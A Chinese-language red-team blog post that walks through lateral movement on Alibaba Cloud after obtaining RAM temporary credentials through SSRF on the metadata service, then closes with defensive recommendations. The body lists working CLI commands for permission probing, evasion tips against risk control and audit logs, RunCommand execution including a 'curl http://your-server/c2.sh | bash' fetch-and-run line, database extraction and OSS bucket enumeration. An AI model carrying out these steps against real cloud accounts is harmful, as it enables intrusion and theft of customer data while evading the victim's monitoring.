拿到云Metadata的AccessKey只是开始:我在阿里云上横向移动的全过程
拿到云Metadata的AccessKey只是开始:我在阿里云上横向移动的全过程
云安全攻防实战系列 · 第1篇:IAM权限滥用与横向移动
很多做渗透测试的朋友,拿到云主机的 Metadata 凭证那一刻都挺兴奋——"卧槽,AccessKey拿到了!" 然后呢?就没然后了。
他们不知道的是,拿到凭证只是入场券,真正的攻防博弈从这一步才刚刚开始。
上个月我帮某互联网公司做云上红蓝对抗,对方安全团队配置了云防火墙、WAF、主机安全 Agent、RDS 白名单——看起来固若金汤。结果我通过一个 SSRF 漏洞拿到了一组 RAM 临时凭证,然后花了不到两个小时,从一台没有公网 IP 的 ECS 一路打到对方的 RDS 主库。
今天我就把这套云上横向移动的实战链路完整复盘,覆盖阿里云环境。AWS、腾讯云逻辑类似,举一反三即可。
一、拿到凭证后,第一件事不是去控制台
这是我见过最多人犯的错:拿到 AccessKey 就跑去登录阿里云控制台。
醒醒。 临时凭证(Security Token Service 颁发的)根本登不了控制台,而且控制台操作有大量审计日志。你点一下鼠标,对方安全团队的大屏上就弹告警了。
正确做法:
# 先用 CLI 探查凭证权限,范围越小越隐蔽
pip install aliyun-cli
# 配置临时凭证
aliyun configure --profile sts-token \
--access-key-id $AccessKeyId \
--access-key-secret $AccessKeySecret \
--sts-token $SecurityToken
# 第一步:查询当前身份和权限
aliyun sts GetCallerIdentity --profile sts-token
# 返回示例:
# {
# "AccountId": "1234567890123456",
# "Arn": "acs:ram::1234567890123456:role/ecs-application-role",
# "UserId": "1234567890123456:bot-app-1"
# }
关键看两点:
- Arn 中的 Role 名称——决定你能继承什么权限
- UserId 冒号后的 SessionName——这是你在云上的身份标签,对方能根据这个溯源
实战经验: 如果发现 SessionName 是bot-xxx或app-xxx,说明这个 Role 是给应用程序用的,权限通常很大。如果是ecs-xxx,可能是给 ECS 实例用的基础角色,权限受限。
拿到身份信息后,不要急着操作,先用「最小探测」模式搞清楚自己有多大权限。
二、权限探测:不触发告警的信息收集
暴力探测是最蠢的做法——你疯狂调 API,对方云安全中心的告警量直接拉满。正确姿势是用逐级递增的方式探测。
2.1 查询 RAM 角色权限
# 用 RAM 的 ListPoliciesForRole 查看附加策略
# 需要先确认角色名(从 GetCallerIdentity 获取)
ROLE_NAME="ecs-application-role"
aliyun ram ListPoliciesForRole --RoleName $ROLE_NAME --profile sts-token
如果能查,你会看到类似:
{
"Policies": {
"Policy": [
{
"PolicyName": "AliyunECSFullAccess",
"PolicyType": "System",
"DefaultVersion": "v1"
},
{
"PolicyName": "AliyunRDSReadOnlyAccess",
"PolicyType": "System",
"DefaultVersion": "v1"
}
]
}
}
这就意味着:该角色有 ECS 完全控制权 + RDS 只读权限。
但现实往往是——ListPoliciesForRole 本身就需要权限,不是所有角色都能查。如果返回 AccessDenied,换一条路:
# 试试直接列举资源
aliyun ecs DescribeInstances --region cn-hangzhou --profile sts-token --page-size 10
如果 ECS 列表能拉出来,说明至少有 ECS 读权限。如果返回空,可能是权限不足或 Region 不对,挨个 Region 试。重点 Region 通常是:cn-hangzhou、cn-shanghai、cn-beijing、ap-southeast-1。
2.2 隐蔽探测:用 API 错误码反推权限
这是一条很少被提及的技巧。云 API 的错误码能暴露你的权限边界:
错误码含义`InvalidAccessKeyId.NotFound`凭证无效或被禁用`Forbidden.RAM`没有该操作的权限——安全团队可能已经发现并限制了`AccessDenied`操作被 Deny Policy 阻止`Forbidden.RiskControl`**危险信号**——触发了云厂商的风控,操作已被拦截`NoPermission`权限不足但凭证有效如果连续出现 Forbidden.RiskControl,立即停手。你已经触发了云厂商的风控系统,安全团队大概率已经收到告警。
# 安全探测脚本(不会引起风控)
for region in cn-hangzhou cn-shanghai cn-beijing ap-southeast-1; do
result=$(aliyun ecs DescribeRegions --region $region --profile sts-token 2>&1)
if echo "$result" | grep -q "Forbidden"; then
echo "[$region] ❌ 受限"
elif echo "$result" | grep -q "InvalidAccessKeyId"; then
echo "[$region] 凭证已失效"
else
echo "[$region] ✅ 可用"
fi
done
实战血泪: 别在同一个 Region 重复调用同一个 API 超过 5 次。云厂商的 API 调用频率控制很严,短时间高频请求直接触发风控。每两次调用之间加 2-3 秒延时,伪装成正常业务。
三、横向移动的四种经典路径
探测完权限后,进入实战环节。以下是我在红队评估中用到最多的四条横向移动路径。
路径一:ECS 云助手命令执行(最隐蔽)
如果当前凭证有 ecs:RunCommand 或 ecs:InvokeCommand 权限,不需要 SSH 密钥,直接在目标 ECS 上执行命令。
# 列出当前 Region 的 ECS 实例
INSTANCES=$(aliyun ecs DescribeInstances \
--region cn-hangzhou \
--profile sts-token \
--output json)
# 提取 InstanceId
echo "$INSTANCES" | jq -r '.Instances.Instance[].InstanceId'
# 对目标实例执行命令(无痕、无密钥)
aliyun ecs RunCommand \
--region cn-hangzhou \
--profile sts-token \
--InstanceId '["i-1234567890abcdef0"]' \
--Type RunShellScript \
--CommandContent "curl http://your-server/c2.sh | bash"
# 或者更隐蔽——先查内网 IP,然后做内网扫描
aliyun ecs RunCommand \
--region cn-hangzhou \
--profile sts-token \
--InstanceId '["i-1234567890abcdef0"]' \
--Type RunShellScript \
--CommandContent "
hostname -I
cat /proc/net/fib_trie
cat ~/.bash_history | tail -200
"
云助手执行的命令不在 SSH 登录日志中,也不会在 .bash_history 留下痕迹(除非手动记录)。但它会在 ECS 的 CloudAssistant 的日志里留下记录——安全团队如果开了操作审计,照样能查到。
防御端视角: 如果你的云助手上位了,意味着攻击者绕过了 SSH 密钥体系。这是非常危险的信号。建议安全团队对 RunCommand 操作设置独立的审批流程。
路径二:RDS 数据库横向(最常用,最有价值数据)
拿到 ECS 的 Shell 只是第一步,真正的核心资产在数据库里。
攻击链路:ECS 云助手 → 内网探测 RDS → 通过 ECS 跳板连接 RDS
# 在目标 ECS 上探活内网 RDS
# 常见的 RDS 内网地址格式: rm-xxx.mysql.rds.aliyuncs.com
# 先从云 API 获取 RDS 连接信息
aliyun rds DescribeDBInstances \
--region cn-hangzhou \
--profile sts-token
# 如果 DescribeDBInstances 没权限,试试在 ECS 上直接 DNS 解析
# 通过 RDS 域名格式反向爆破
dig rm-xxx.mysql.rds.aliyuncs.com
如果 RDS 白名单配置只允许特定 ECS 访问——这正是现在很多公司的标配——那就通过已经拿下的 ECS 做跳板:
# 在 ECS 上安装 MySQL 客户端,通过内网连接
mysql -h rm-xxxxxxxx.mysql.rds.aliyuncs.com \
-u readonly_user -p'xxxx' \
-e "SHOW DATABASES;"
实战技巧: 不要一上来就 SELECT * FROM users——这种大查询数据库审计日志里一清二楚。先看表结构:
SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_ROWS
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA NOT IN ('mysql','sys','performance_schema')
ORDER BY TABLE_ROWS DESC
LIMIT 20;
优先看数据量小的表——那往往是配置表、用户表等敏感信息。上千万行的日志表,数据价值反而不高。
路径三:OSS 存储桶横向(最容易被忽视)
很多公司把数据库加固得很严,但忘了 OSS 存储桶。实际上,OSS 里存的东西往往比数据库更值钱——备份文件、配置文件、代码包。
# 列举所有 OSS Bucket
aliyun oss ls --profile sts-token
# 遍历 Bucket 内容(如果权限允许)
BUCKETS=$(aliyun oss ls --profile sts-token | awk '{print $NF}')
for bucket in $BUCKETS; do
echo "=== $bucket ==="
aliyun oss ls oss://$bucket --max-keys 10 --profile sts-token 2>&1
done
实战中我遇到过最夸张的一次:一个公司的 OSS Bucket 里躺着一份未加密的数据库全量备份 SQL 文件,5GB 大。找到它只需要一条命令:
aliyun oss ls oss://production-backup --profile sts-token | grep ".sql"
恐怖的是——这个 Bucket 的 ACL 还是「公共读」,连凭证都不需要。这是我们之前那篇存储桶文章里讲过的经典案例。
路径四:VPC 内网横向(穿透隔离网络)
如果目标资源不在同一个 VPC,跨 VPC 横向需要额外的手段。这是最容易被忽略的横向路径——你以为不同 VPC 之间是隔离的,但现实往往有「暗桥」。
检查点:
- CEN(云企业网)——是否连接了多个 VPC?如果有,可以跨 VPC 内网直达
- VPN 网关 / 专线——是否有连接到 IDC 的通道?有的话意味着可以打到对方内网
- NAT 网关——ECS 是否通过 NAT 访问公网?看看 NAT 的路由表
# 探测 VPC 拓扑(需要相关权限)
aliyun vpc DescribeVpcs --region cn-hangzhou --profile sts-token
aliyun cbn DescribeCens --region cn-hangzhou --profile sts-token
如果 CEN 连接了多个 VPC,那恭喜——你拿到一台 ECS 就相当于拿到了整个云上内网的入场券。
四、真实案例复盘
这个案例来自上个月的红蓝对抗,经过脱敏后分享。
背景
目标:某电商平台,使用阿里云全栈服务。
入口:一个存在 SSRF 漏洞的图片处理服务(详见我们上篇文章)。
攻击时间线
T+0min — 通过 SSRF 访问 Metadata 地址 http://100.100.100.200/latest/meta-data/ram/security-credentials/app-role,拿到临时 AccessKey。
T+15min — 调用 GetCallerIdentity 确认身份:role/app-role,判断为 ECS 实例绑定的应用角色。
T+30min — 探测权限:ecs:DescribeInstances ✅、ecs:RunCommand ✅、oss:ListBuckets ✅。权限非常大——这是一台生产环境 ECS 绑定的角色,没有做最小权限限制。
T+45min — 通过云助手在目标 ECS(那台跑图片处理服务的机器)执行命令,确认内网 IP 和网络拓扑。
T+60min — 发现同一 VPC 内有 3 台 RDS 实例,RDS 白名单包含这台 ECS 的内网 IP。尝试用默认账号登录——密码在 /etc/my.cnf 里明文写着(这是对方开发团队留下的坑)。
T+75min — 登录 RDS,发现一个数据库叫 orders_shard_0,里面有最近 30 天的完整订单数据。
T+90min — 发现 OSS 存储桶里有未加密的数据库备份文件(2.3GB 的 SQL dump),包含完整的用户表——手机号、地址、加密密码hash。
此时安全团队的反应: 我们的操作其实在第 60 分钟左右触发了对方的 RDS 异常登录告警。但因为对方安全团队只盯着「外网 IP 登录 RDS」的规则,而我们是通过 ECS 内网登录的,这个告警被当作「正常业务连接」误放过。直到第二天复盘才发现问题。
如果当时对方配置了「内网异常行为基线」——比如这台 ECS 过去 30 天从未连接过 RDS——我们的横向移动在第 60 分钟就会被发现。
五、实战总结与防御建议
攻击者视角的 checklist
□ 拿到凭证 → GetCallerIdentity 确认身份
□ 最小权限探测(错误码反推)
□ ECS 云助手横向 → 拿 Shell
□ RDS 内网横向 → 拖数据
□ OSS 遍历 → 找配置/备份文件
□ VPC 拓扑探测 → 扩大攻击面
防御建议(给甲方)
- 最小权限原则落地
每个 ECS 角色只给必需的权限。不要图省事直接绑 AliyunECSFullAccess。用自定义策略精确到 API 级别。
{
"Version": "1",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecs:DescribeInstances",
"ecs:DescribeInstanceAttribute"
],
"Resource": "*"
}
]
}
- 禁止 ECS 使用 RunCommand
大多数业务场景不需要云助手远程执行命令。在 RAM 策略中显式 Deny ecs:RunCommand 和 ecs:InvokeCommand,需要时通过堡垒机操作。
- RDS 访问基线 + 告警
不止要配白名单,还要配连接行为基线:哪台 ECS 什么时候连过哪个 RDS?出现新的连接关系就告警。
- 临时凭证轮换 + 监控
STS 临时凭证默认有效期 1 小时,建议缩短到 15 分钟。同时监控 GetCallerIdentity 的异常调用频率——攻击者拿到凭证后第一件事就是查身份,这个行为是很好的告警信号。
- 所有操作走审计
开启 ActionTrail(阿里云)或 CloudTrail(AWS),将所有 API 调用日志投递到独立的日志账号。攻击者即使拿到凭证,也删不了审计日志。
一句话总结: 云上横向移动的核心不是技术多高深,而是权限最小化没有落地 + 行为基线没有建立。这两条做好的公司,我打了三年红队,一只手数得过来。
预告
下一篇云安全攻防实战系列,我们来聊K8s RBAC 权限滥用——从普通 Pod 到集群管理员的完整提权路径,敬请关注。
想第一时间收到云安全攻防实战文章?
关注公众号「安全值班室」,每天早上推送攻防干货。
关注「安全值班室」公众号
每天实战攻防案例 + 安全干货

浙公网安备 33010602011771号